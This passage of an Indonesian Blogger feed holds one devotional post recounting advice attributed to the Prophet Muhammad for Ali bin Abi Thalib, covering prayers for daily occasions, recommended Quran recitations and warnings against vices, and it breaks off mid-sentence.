<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-475282690325446417</id><updated>2012-01-31T13:19:16.643+07:00</updated><category term='hack'/><category term='tips dan trik'/><category term='shio'/><category term='surat menyurat'/><category term='download freeware'/><category term='handphone'/><category term='jual beli'/><category term='download mp3'/><category term='IKLAN GRATIS'/><category term='[JEPE] Jejak Petualang'/><category term='komputer'/><category term='webdesign'/><category term='program'/><category term='catatan'/><category term='kajian islam'/><category term='vespa sepanjang masa'/><category term='applikasi'/><category term='herbal dan rempah'/><category term='my contact'/><category term='News'/><category term='survival'/><category term='x file'/><title type='text'>watumas</title><subtitle type='html'>mari bersahabat, berbisnis, dan berbagi info....</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.watumas.co.cc/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>64</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-4637241859319367042</id><published>2011-02-27T17:56:00.001+07:00</published><updated>2011-02-27T18:06:27.023+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kajian islam'/><title type='text'>Wasiat Rasulullah SAW Kepada Para Sahabat</title><content type='html'>&lt;span class="fullpost"&gt;       &lt;/span&gt;Wasiat Rasulullah SAW Kepada Para Sahabat&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Rasulullah sering memberikan nasehat-nasehat dan petunjuk kepada para sahabatnya untuk membiming meraka dalam hidup ini guna mencapai kebahagiaan dunia dan akhirat. Wasiat dan nasehat itu ada yang diberikan beliau di muka majlis ilmu pengetahuan di tengah para sahabat yang banyak mendengarkan, dan adakalanya beliau sampaikan melalui pribadi demi pribadi dan oleh yang bersangkutan kelak disampaikan pula kepada orang banyak.&lt;br /&gt;Dan beberapa waktu sebelum beliau wafat, maka beliau telah menyampaikan pesan-pesan dan nasehat-nasehat yang berhaga kepada tokoh-toko sahabat yang terkemuka yang terdekat denga beliau sepperti halnya kepada Ali bin Abi Thalib dan Abu Hurairah ra.&lt;br /&gt;&lt;br /&gt;Ali bin Abi Thalib tidak asing lagi adalah kader beliau yang pertama kali menerima gemblengan dari Nabi SAW dan adalah pemuda yang pertamakali masuk Islam yang kemudian ternyata berhasil menjadi menantu Rasulullah selaku suami dari anak beliau tersayang Fatimah Az-Zahra’ binti Rasulullah. Sedang Abu Hurairah adalah sahabat terdekat dengan beliau, kader Nabi SAW selaku ahlus suffah orang-orang yang diasramakan di samping Masjid Nabi untuk dibina dan di gembleng secara khusus untuk melanjutkan perjuangan Rasulullah dalam segala bidang perjuangan.&lt;br /&gt;&lt;br /&gt;Abu Hurairah sangat menonjol sebagai ahli hadits yang banyak hafal hadits Rasulullah sebanyak tidak kurang dari 5364 buah hadits. Benarlah Imam Syafi’I yang mengatakan, bahwa Abu Hurairahlah diantara para sahabat Nabi SAW yang paling banyak hafal hadits Nabi itu. Adalah keistimewaan Abu Hurairah, bahwa ia menerima hadits tanpa catatan, karena hatinya terang dan otaknya gemilang berkat dido’akan oleh Rasulullah SAW. Karena demikian dekatnya beliau dengan Rasulullah, maka Nabi SAW sering memberikan pesan-pesan nasihat yang berharga kepadanya seperti yang dapat dibaca kelak dibawah ini nanti.&lt;br /&gt;&lt;br /&gt;1. Wasiat Rasulullah Kepada Ali bin Abi Thalib&lt;br /&gt;Ali bin Abi Thalib berkata; “Bahwa Rasulullah berwasiat kepadaku dengan sabda beliau demikian bunyinya :&lt;br /&gt;&lt;br /&gt;“Ya Ali! Aku berwasiat kepadamu dengan sesuatu wasiat, maka jagalah dia baik-baik, karena selama engkau memelihara wasiat itu niscaya engkau akan tetap berada dalam keadaan kebaikan.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Bagi orang Mukmin itu ada tiga tanda yang menjadi cirri-ciri khasnya: Melakukan sholat, berpuasa dan berzakat. Dan bagi orang munafiq (berpura-pura beriman) ada pula tiga tandanya: berpura-pura sayang jika berhadapan, bergunjing di belakang, dan girang bila orang lain mendapat musibah.&lt;br /&gt;&lt;br /&gt;“Bagi orang yang zhalim ada pula tiga cirri-ciri: Menggagahi orang bawahannya dengan kekerasan, orang diatasnya dengan kedurhakaan dan melahirkan kezhalimannya dengan terang-terangan.&lt;br /&gt;&lt;br /&gt;Bagi orang yang riya ada tiga tandanya : Rajin bila ia berada di hadapan mata orang ramai, malas bila sendirian dan ingin dipuji untuk semua perkara.&lt;br /&gt;Bagi orang munafiq ada tiga alamat : Bohong bila ia bicara, mungkir (ingkar) bila iaberjanji, dan khianat bila dipercayaya.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Bagi orang pemalas ada tiga tanda : menunda-nunda waktu sampai sia-sia, menyia-nyiakan kesempatan sampai luput dan melalaikannya sampai berdosa.&lt;br /&gt;&lt;br /&gt;Dan tidak pantas bagi orang yang berakal, bahwa ia menonjolkan dirinya kecuali kepada tiga perkara: berusaha untuk penghidupan, atau mencari hiburan dalam suatu perkara yang tidak terlarang atau untuk mengenangkan hari berbangkit (akhirat)&lt;br /&gt;&lt;br /&gt;Ya Ali! Di antara bukti orang yang yakin percaya kepada Allah bahwa engkau tidak memberi kerelaan seseorang dengan melalui murka Allah; bahwa tidak engkau sanjung-sanjung seseorang atas karunia Allah yang engkau terima, dan bahwa tidak engkau cela seseorang bila engkau tidak mendapatkan karunia Allah. Ingatlah, bahwa rezeki keuntungan itu tidak dapat diraih oleh orang yang sangat loba mendapatkannya dan tidak dapat pula dielakkan walaupun oleh orang yang tidak menyukainya. Dan bahwa Allah SWT menjadikan nikmat karunia dan kelapangan itu dalam yakin dan rela dengan pemberian Allah, dan ia menjadikan kesusahan dan kedukaan itu dalam murka terhadap rezeki yang telah ditentukan oleh Tuhan.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Tidak ada kefakiran yang lebih hebat daripada kebodohan, tidak ada harta yang lebih berharga daripada akal, tidak ada kesepian yang lebih sunyi dari pada ujub (kagum kepada diri sendiri) tidak ada kekuatan yang lebih kuat daripada musyawarah, tidak ada Iman yang lebih dekat daripada keyakinan, tidak ada wara’ yang lebih baik daripada menahan diri, tidak ada keindahan seindah budi-pekerti, dan tidak ada ibadah yang melebihi tafakur.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Bahwa segala sesuatu itu ada penyakitnya. Penyakit bicara adalah bohong, penyakit ilmu adalah lupa, penyakit ibadah adalah riya; penyakit budi perkerti adalah memuji diri, penyakit berani adalah agresif, penyakit pemurah adalah menyebut-nyebut pemberian, penyakit cantik adalah sombong, penyakit mulia adalah menonjolkan diri, penyakit kaya adalah kikir, penyakit royal adalah berlebih-lebihan, dan penyakit agama adalah hawa nafsu.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau disanjung orang dihadapanmu, maka bacalah kalimat ini: Ya Allah, jadikanlah aku lebih baik daripada apa yang mereka katakan! Ampunilah dosaku apa yang mereka tidak ketahui, dan janganlah aku disiksa tentang apa-apa yang mereka telah ucapkan!&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau puasa sampai petang hari, maka ucapkanlah dikala engkau berbuka: Ya Allah! Untukmulah aku berpuasa dan atas rezeki-Mu aku berbuka, niscaya dituliskan bagimu pahala orang yang berpuasa pada hari itu dengan tidak kurang sedikitpun juga daripada pahala mereka. Ketahuilah olehmu bahwa bagi setiap orang yang berpuasa itu ada do’a yang diperkenankan.&lt;br /&gt;&lt;br /&gt;Maka jika ia pada permulaan suapnya waktu akan makan mengucapkan: Bismillahirrahmaannirrahiim Ya Wasi’al magfirah ighfirlii – dengan nama Allah Yang Maha Pengasih dan Penyayang, wahai Tuhan yang Maha Luas Pengampunan-Nya, ampunilah aku ini – maka barangsiapa mengucapkan- nya dikala berbuka, niscaya diampuni Tuhan dosanya. Ketahuilah olehmu, bahwa puasa itu adalah perisai yang akan menangkis bahaya api neraka.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Perbanyaklah membaca surah Yassin, karena dalam membacanya itu terdapat sepuluh macam berkat. Tak ada orang yang membacanya pada waktu lapar (puasa) melainkan kenyang, tidak orang haus kecuali lepas hausnya, tidak ada orang yang bertelanjang melainkan ia akan beroleh pakaian, tidak ada orang sakit melainkan sembuh, tidak ada orang yang takut melainkan aman, tidak ada orang yang dipenjarakan melainkan lepas, tidak akan orang yang bujangan melainkan kimpoi, tidak ada musyafir, melainkan matanya terang dalam perjalanan; tidak membacanya orang yang kehilangan sesuatu benda melainkan mendapatkannya kembali, tidak dibacakan ia di atas orang yang akan hampir sampai ajalnya melainkan diringankan baginya. Barangsiapa yang membawanya di waktu Subuh niscaya ia akan aman sampai petang; dan barang siapa yang membacanya diwaktu petang, niscaya ia akan berada dalam keadaan aman santosa sampai pagi.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Bacalah surat Hammim Ad-Dhukan pada malam Jum’at, niscaya Tuhan memberikan keampunan bagimu. “Ya Ali! Bacalah surat Hasyar niscaya engkau berkumpul pada hari Kiamat dalam keadaan aman santosa dari segala sesuatu. “Ya Ali! Bacalah surat Tabaraka dan As-Sajdah niscaya berkat keduanya engkau diselamatkan Tuhan dari marabahaya hari Kiamat.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Bacalah surat Tabaraka pada waktu akan tidur, niscaya engkau akan selamat dari azab kubur dan dari pertanyaan Malaikat Munkar dan Nakir.&lt;br /&gt;Ya Ali! Bacalah Qulhuwallahu Ahad dalam keadaan engkau berwudhu’, niscaya nanti engkau akan diseru pada hari Kiamat: Hai pemuji Tuhan, bangkitlah, maka kemudian masuklah ke dalam surga!.&lt;br /&gt;“Ya Ali! Bacalah Surat Al-Baqarah, karena sesungguhnya dalam membacanya itu ada membawa berkat, dan tidak mau membacanya itu membawa penyesalan.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Janganlah terlalu lama duduk di bawah cahaya terik matahari, karena itu akan menimbulkan penyakit lama kambuh kembali, merusak pakaian dan mengubah warna muka.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Engkau akan aman dari bahaya kebakaran jika engkau mengucapkan : Subhana Robbi Lailaha Illa Anta ‘Alaika Tawakkaltu wa Anta Robbul Arsyl ‘Azhiim. Maha Suci Tuhanku, tidak ada Tuhan selain Engkau. KepadaMulah aku tawakal dan Engkaulah Tuhan Arsy yang besar.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Engkau aman dari was-was setan bila engkau baca: (Al-Isra’ : 45-46) yang artinya:&lt;br /&gt;&lt;br /&gt;Apabila engkau membaca Al-Qur’an, Kami (Allah) adakan dinding yang menutup antara engkau dan orang-orang yang tidak beriman kepada hari akhirat …….. sampai pada ayat mereka berpaling lari kebelakang.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Engkau akan aman dari segala kejahatan bila engkau membaca :&lt;br /&gt;&lt;br /&gt;Artinya : Apa yang dikehendaki Allah terjadi dan apa yang tidak dikehendakiNya tidak akan terjadi. Aku mengaku bahwa Allah berkuasa atas segala sesuatu, dan bahwa Dia menghitung bilangan segala sesuatu (dengan tepat), dan tidak ada daya dan kekuatan melainkan di tangan Allah.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau makan, maka bacalah “Bismillah” dan apabila selesai makan ucapkanlah ”Alhamdulillah” karena sesungguhnya kedua malaikat yang menjagamu tidak akan berhenti menuliskan kebajikan-kebajikan untukmu sampai engkau menyingkirkannya sendiri dari sisimu.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau melihat bulan sabit pada awal bulan ucapkanlah “Allahu Akbar” tiga kali lalu berdo’a:&lt;br /&gt;&lt;br /&gt;Artinya : “Dan segala puji bagi Allah yang telah menjadikan aku dan engkau, dan menentukan tempat-tempat tinggal engkau, dan menjadikan engkau sebagai bukti bagi seluruh alam.&lt;br /&gt;&lt;br /&gt;Niscaya Allah SWT membanggakan engkau kepada para malaikat-malaikatNya dengan firmanNya : “Hai para Malaikat! Saksikanlah olehmu, bahwa Aku membebaskan hambaKu ini dari sentuhan api neraka”.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau berdiri di hadapan kaca, maka ucapkanlah:&lt;br /&gt;&lt;br /&gt;“Ya Allah! Sebagaimana Engkau telah mengindahkan kejadianku, maka indahkan pulalah budi pekerti dan beri rezekilah aku”.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau melihat air sungai yang menakutkanmu maka takbirlah tiga kali dan ucapkanlah:&lt;br /&gt;&lt;br /&gt;“Allah Maha Besar, Maha Agung, dan Lebih Mulia daripada yang aku takuti dan khawatirkan. Ya Allah, aku menempatkan kekuasaan Engkau pada lehernya, dan aku berlindung kepada Engkau dari kejadiannya”.&lt;br /&gt;&lt;br /&gt;niscaya engkau akan selamat dalam perlindungan Allah.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau melihat anjing menggonggong, maka ucapkanlah:&lt;br /&gt;&lt;br /&gt;“Hai kelompok jin dan manusia, jika kalian sanggung menembus batas-batas langit dan bumi, maka cobalah tembus! Tetapi kalian tidak akan mampu kecuali dengan kekuasaan (ilmu pengetahuan). (Ar-Rahman:38)&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau ke luar rumahmu untuk sesuatu hajat keperluan, maka bacalah ayat Kursi, niscaya hajat engkau Insya Allah akan sampai.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Bila engkau berwudhu maka bacalah: “Bismillahi wa sholatu ‘ala rosuulillah”&lt;br /&gt;&lt;br /&gt;“Ya Ali! Lakukanlah sholat di tengah malam agak sebentar walaupun sesingkat kadar waktu memerah susu kambing dan berdo’alah kepada Allah diwaktu sahur (dinihari) niscaya do’amu makbul, tidak ditolak. Karena Allah SWT telah berifrman: “Dan mereka yang memohon ampun diwaktu-waktu sahur” (dini hari)&lt;br /&gt;&lt;br /&gt;“Ya Ali! Mandikanlah orang yang meninggal dunia, karena barangsiapa yang memandikannya niscaya Tuhan mengampuni dosanya dengan tujuhpuluh ampunan. Dan andaikata engkau bagi-bagikan pula keampunan itu untuk sekian makhluk, tentu Allah akan meluaskan pula keampunan itu bagi mereka.&lt;br /&gt;&lt;br /&gt;Aku (Ali) bertanya kepada beliau: “Apakah yang diucapkan oleh orang yang memandikan mayit? Rasulullah SAW menjawab: “Ghufraanaka yaa rahmaan” Mohon ampunanMu ya Allah Yang Maha Pengasih! Sampai selesai memandikannya.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Janganlah berpergian musyafir seorang diri, karena setan beserta orang yang sendirian, dan ia lebih menjauhkan diri dari orang yang kedua”.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Orang yang bermusyafir sendirian sesat sendiri, bila berdua sesat berdua, dan bertiga itu dinamakan suatu rombongan.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Bila engkau musyafir, janganlah menempati lembah, karena itu adalah tempat sarang-sarang binatang-binatang buas dan ular.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila lahir anakmu laki-laki ataupun perempuan maka adzankanlah di telinga yang kanan dan komatkanlah do telinganya yang kiri, maka dengan itu ia tidak bisa diganggu setan.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Janganlah engkau bersetubuh dengan istrimu pada malam bulan sabit baru muncul, dan tidak pula pada pertengahan bulan, karena dikhawatirkan anakmu akan cacat.&lt;br /&gt;&lt;br /&gt;Aku (Ali) bertanya: “Kenapa demikian ya Rasul Allah?”&lt;br /&gt;&lt;br /&gt;“Karena jin banyak mendatangi wanita-wanita pada malam tengah bulan dan pada malam Hilal (bulan sabit). Apakah engkau tidak perhatikan, bahwa orang-orang gila itu bisa kambuh penyakitnya kembali pada malam tengah bulan dan malam Hilal itu? Jawab Rasulullah SAW.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau berada dalam keadaan kesusahan, maka ucapkanlah:&lt;br /&gt;“Ya Allah, aku memohon kepadaMu dengan hak Muhammad dan keluarga Muhammad supaya Engkau membebaskan aku (dari kesusahan).&lt;br /&gt;&lt;br /&gt;Dan apabila engkau memasuki suatu kota atau kampung maka bacalah dikala melihatnya:&lt;br /&gt;“Ya Allah aku mohon kepada-Mu akan kebaikan yang ada di kota ini, dan kebaikan apa yang aku lakukan padanya, dan aku berlindung kepada-Mu dari kejahatannya dan kejahatan yang aku lakukan padanya. Ya Allah berilah aku rezeki atas kebaikannya dan lindungilah aku dari kejahatannya, dan jadikanlah aku cinta kepada penduduknya, dan jadikan pulalah penduduknya yang saleh cinta kepada kami!””&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau menempati sesuatu tempat maka ucapkanlah:&lt;br /&gt;&lt;br /&gt;“Ya Allah tempatkanlah kami ditempat yang berkah dan Engkaulah sebaik-baik Yang memberikan tempat; Engkau berikan kebaikannya serta tolak kejahatannya”.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Jauhkanlah dirimu dari sifat riya’, karena hikmahnya tidak dapat dimengerti dan fitnahnya tidak dapat dielakkan.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Janganlah engkau memakai cincin pada jari telunjuk dan jari malang(tengah), karena itu adalah perbuatan kaum Luth. &lt;br /&gt;&lt;br /&gt;“Ya Ali! Jauhilah sengketa karena itu akan menghapus amalan-amalan engkau.&lt;br /&gt;“Ya Ali! Janganlah engkau hardik orang yang datang meminta pertolongan sekalipun ia datang dengan menunggang kuda, dan berilah ia, karena sedekah itu labih dahulu jatuh ke tangan Allah (untuk diberikan pahala, Pen) sebelum jatuh ke tangan peminta.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Segeralah bersedekah, karena bala bencana itu tidak bisa melangkah mendahului sedekah.&lt;br /&gt;“Ya Ali! Jadilah engkau orang yang berbudi luhur, karena dengan itu engkau akan mencapai derajat orang yang melakukan ibadah puasa dan orang yang melakukan ibadah sholat malam.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Jauhilah kemarahan, karena setan menguasai anak cucu Adam dalam keadaan ia marah.&lt;br /&gt;“Ya Ali! Jauhilah olok-olok, karena hal itu akan menghilangkan kehebatan anak cucu Adam dan kesungguhannya.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Bacalah Qul Huallahu Ahad karena itu mencegah kefakiran. Dan jauhi pulalah riba, karena padanya terdapat enam perkara; tiga di dunia dan tiga di akhirat. Adapun yang di dunia, ia akan cepat memusnahkan harta benda, melenyapkan kekayaan, dan menghapuskan rezeki. Adapun yang di akhirat, maka ia akan membawa buruk perhitungan (hisab), kemurkaan Tuhan Azza wa Jalla dan kekal di dalam neraka.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau masuk ke rumahmu, maka ucapkanlah salam kepada keluarga rumahmu!”&lt;br /&gt;“Ya Ali! Cintailah kaum fakir miskin, niscaya Allah akan cinta pula kepadamu”.&lt;br /&gt;“Ya Ali! Janganlah bentak fakir miskin, niscaya engkau akan di bentak oleh malaikat pada hari kiamat.&lt;br /&gt;“Ya Ali! Janganlah engkau abaikan sedekah, karena ia akan menolak kejahatan dari dirimu.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Keluarkanlah infak hartamu dan berilah kelapangan terhadap familimu, dan janganlah khawatir terhadap Tuhan yang memiliki Arsy bahwa Ia akan menyediakan karunia-Nya kepadamu.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau mengendarai kendaraan maka ucapkanlah:&lt;br /&gt;“Segala puji bagi Allah yang telah memuliakan dan memberi hidayah kepada kami untuk memeluk Islam, dan juga orang yang bersama kami dengan petunjuk Nabi Muhammad SAW. Segala puji bagi Allah yang telah memudahkan kendaraan ini bagi kami, dan kami tidak berkuasa padanya. Dan sesungguhnya kami akan kembali kepada Tuhan kami. (Az-Zukhruf, 13-14)&lt;br /&gt;&lt;br /&gt;“Ya Ali! Janganlah marah apabila dikatakan kepadamu: Ittaqillah (takutlah kepada Allah), maka hal itu akan membahayakanmu pada hari kiamat.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Sesungguhnya Allah kagum kepada hamba-Nya dikala ia bermohon kepada Tuhan:&lt;br /&gt;Ya Allah, ampunilah aku, sesungguhnya tidak ada yang bisa mengampuni dosa kecuali Engkau.&lt;br /&gt;Lantas Allah berfirman kepada para malaikat; “Hai para malaikat! hambaKu ini tahu, bahwa tidak ada yang akan mengampuni dosanya selain Aku, maka saksikanlah oleh kamu semua, bahwa Aku telah memberi ampun baginya”.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau memekai pakaian baru, maka ucapkanlah:&lt;br /&gt;“Dengan nama Allah dan segala puji bagi Allah yang telah memberi aku pakaian yang bisa menutupi auratku, dan dengan itu aku tidak perlu mengharapkan orang lain”.&lt;br /&gt;Dan kalau kain sampai kepada kedua lututmu, Allah telah memberi ampun kepadamu.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Barang siapa yang memakai kain baru, kemudian ia beri pula kepada fakir miskin atau anak yatim yang telanjang, niscaya dia berada dalam jaminan Allah tentang keselamatan dan penjagaannya selama kain itu dipakainya”.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Bila engkau masuk pasar, maka ucapkanlah dikala engkau masuk:&lt;br /&gt;Dengan nama Allah, dan demi Allah aku bersaksi bahwa Tiada Tuhan selain Allah, dan aku bersaksi bahwa nabi Muhammad adalah hamba-Nya dan Rasul-Nya.&lt;br /&gt;Niscaya Allah berfirman: “HambaKu ini mengingat Aku dikala orang lain lalai. Saksikanlah olehmu bahwa Aku telah memberi ampun kepadanya”.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Sesungguhnya Allah kagum terhadap orang yang mengingatnya di dalam pasar. Apabila engkau masuk masjid, maka ucapkanlah:&lt;br /&gt;Dengan nama Allah dan keselamatan atas Rasul Allah. Ya Allah, bukakanlah bagiku pintu-pintu Rahmat-Mu.&lt;br /&gt;Dan apabila engkau keluar masjid maka ucapkanlah:&lt;br /&gt;Dengan nama Allah dan keselamatan atas Rasul Allah. Bukakanlah bagiku pintu-pintu Karunia-Mu&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau mendengar orang adzan, maka ucapkanlah (sahutlah) seperti apa yang disebut oleh Muadzin, niscaya dituliskan bagimu pahala seperti apa yang diterimanya.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau selesai berwudhu’ maka ucapkanlah :&lt;br /&gt;Aku bersaksi bahwa tidak ada Tuhan selain Allah, dan aku mengaku bahwa Muhammad Rasul Allah. Ya Allah jadikanlah aku dari golongan mereka yang taubat, dan jadikanlah aku dari golongan mereka yang telah bersuci.&lt;br /&gt;Niscaya engkau keluar dari dosamu seperti halnya dilahirkan ibumu, dan dibukakan bagimu delapan pintu surga dengan ucapan: masuklah engkau dari jurusan mana saja engkau mau!.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau selesai makan maka ucapkanlah:&lt;br /&gt;Segala puji bagi Allah yang telah memberi kami makan dan minum, dan telah menjadikan kami kaum muslim.&lt;br /&gt;“Ya Ali! Apabila engkau selesai minum maka ucapkanlah:&lt;br /&gt;Segala puji bagi Allah yang telah memberi kami air minum, menjadikannya tawar lagi sejuk dengan rahmat-Nya, dan tidak menjadikannya garam yang asin karena dosa-dosa kami.&lt;br /&gt;Niscaya engkau tercatat sebagai orang yang bersyukur. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;“Ya Ali! Jauhilah berdusta, karena dusta itu menghitamkan muka, dan bila seseorang senantiasa berdusta dia akan dinamakan di sisi Tuhan si pendusta, dan bila ia benar, maka ia akan dinamakan di sisi Tuhan sebagai orang yang benar.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Janganlah sekali-kali mempergunjingkan seseorang, karena sesungguhnya gunjing itu membatalkan puasa, dan orang yang suka bergunjing orang lain itu kelak akan memakan dagingnya dihari kiamat.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Janganlah bersumpah atas nama Allah dengan berbohong.&lt;br /&gt;“Ya Ali! Janganlah engkau jadikan nama Allah sebagai sasaran sumpahmu, karena Allah tidak sayang dan tidak senang kepada orang yang memakai namaNya dengan sumpah palsu.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Kuasailah lisanmu dan biasakanlah dia mengucapkan yang baik, karena tidak ada yang lebih berbahaya bagi manusia pada hari Kiamat melebihi ketajaman lisannya.&lt;br /&gt;“Ya Ali! Jauhilah pencerca, karena orang yang mencerca dengan dengan membuka rahasia orang lain itu tidak akan masuk surga.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Jauhilah sifat mendendam, karena itu akan merupakan penyesalan kelak.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Jauhilah sifat loba, karena kelobaan itu telah menyebabkan Bapakmu (Adam) dari surga.&lt;br /&gt;“Ya Ali! Jauhilah sifat dengki, karena dengki itu memakan segala kebajikan, seperti halnya api memakan kayu bakar.&lt;br /&gt;“Ya Ali! Celakalah orang yang berbohong untuk membuat orang tertawa. Celakalah baginya, celakalah baginya!.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Biasakan bersugi, karena hal itu menyucikan mulut, menyenagkan Tuhan, dan membersihkan gigi.&lt;br /&gt;“Ya Ali! Jangan lupa mencungkil makanan yang melekat di celah-celah gigi, karena tidak ada yang lebih dibenci Malaikat daripada melihat makanan yang melekat di celah-celah gigi seseorang.&lt;br /&gt;&lt;br /&gt;Aku (Ali) bertanya kepada Rasulullah: “Haraplah terangkan kepadaku tentang firman Allah yang berbunyi: sesudah itu Adam menerima kalimat dari Tuhan-Nya , lalu Allah mengampuninya.” Kalimat-kalimat apakah itu? (Al-Baqarah 37). Nabi menjawab; “Allah menurunkan Adam di bumi India, hawa di Jeddah, ular di Ispahan dan Iblis di negeri Baisan. Maka tinggalah Adam seratus tahun lamanya tidak berani mengangkat kepalanya dalam keadaan menangisi kesalahannya, duduk termenung dalam duka. Kemudian Allah utus malaikat dengan mengucapkan salam;&lt;br /&gt;&lt;br /&gt;“Assalamu’alaikum ya Adam!” Allah SWT menyampaikan salam bagimu dan Ia berkata buat engkau: “Bukankan Aku (Allah) telah jadikan engkau dengan tanganKu sendiri dan Aku tiupkan kepadamu roh ciptaanKu? Bukankah Aku telah memerintahkan Malaikat bersujud kepadamu? Bukankah Aku telah mengawinkan engkau dengan Hawa, hambaKu? Tangis apa jugakah lagi ini?”&lt;br /&gt;&lt;br /&gt;- Adam: “Ya jibril! Bagaimana aku tidak akan menangis, padahal aku telah dikeluarkan dari sisi Tuhanku!”&lt;br /&gt;- Jibril: “Ya Adam, ucapkanlah kalimat-kalimat ini, karena sesungguhnya Allah telah mengampuni dosa engkau dan telah menerima taubat engkau”.&lt;br /&gt;- Adam: Apakah kalimat-kalimat itu?”&lt;br /&gt;- Jibril: “Ucapkanlah: ‘Ya Allah! Sesungguhnya aku memohon kepadaMu dengan hak Muhammad dan keluarga Muhammad, maha suci engkau Ya Allah dan dengan memujiMu aku mengaku telah melakukan perbuatan salah dan aku telah menganiaya diriku sendiri; bahwa tak ada yang dapat mengampuni segala dosa kecuali hanya Engkau. Berilah aku rahmatMu karena engkau adalah sebaik-baik Dzat yang memberi rahmat. Maha suci Engkau dan dengan memuji Engkau, yang tak ada Tuhan melainkan Engkau; aku telah melakukan kesalahan dan menganiaya diriku sendiri, dari itu berilah aku taubat, sesungguhnya Engkaulah maha Penerima Taubat lagi Maha Pengasih dan Penyayang. Dengan memujiMu, tidak ada Tuhan melainkan Engkau, aku telah melakukan perbuatan salah dan menganiaya diriku, maka ampunilah aku dan engkaulah sebaik-baik pemberi ampun!”&lt;br /&gt;&lt;br /&gt;Itulah yang dimaksud dengan “kalimat-kalimat” itu.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau melihat ular di jalan maka bunuhlah ia, karena aku telah memberikan ketentuan kepada jin bahwa mereka tidak akan muncul dalam rupa ular di jalanan. Barangsiapa melanggar ketentuan itu maka silahkan membunuhnya.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Ada empat perkara yang membawa celaka; mata yang beku (tak sudi mengeluarkan air mata), kesat hati, panjang angan-angan, dan tergoda oleh dunia.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Aku melarangmu degan empat perkara; iri hati, loba, bohong dan pemarah.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Maukah engkau aku beritahukan tentang sejahat-jahat manusia? Aku menjawab: tentu Ya Rasul Allah!&lt;br /&gt;Yakni: orang yang musafir sendirian dan melarang orang lain turut besertanya dan suka memukul hamba sahaya (pembantunya). “Maka maukah engkau aku beritahu apa yang lebih buruk daripada itu semua? “Tentu ya Rasul Allah!” “Yaitu orang yang tidak bisa diharapkan kebajikannya dan tidak aman manusia dari kejahatnnya,” jawab Nabi.&lt;br /&gt;&lt;br /&gt;“Ya Ali! Apabila engkau melakukan sholat jenazah anak kecil ucapkanlah dalam 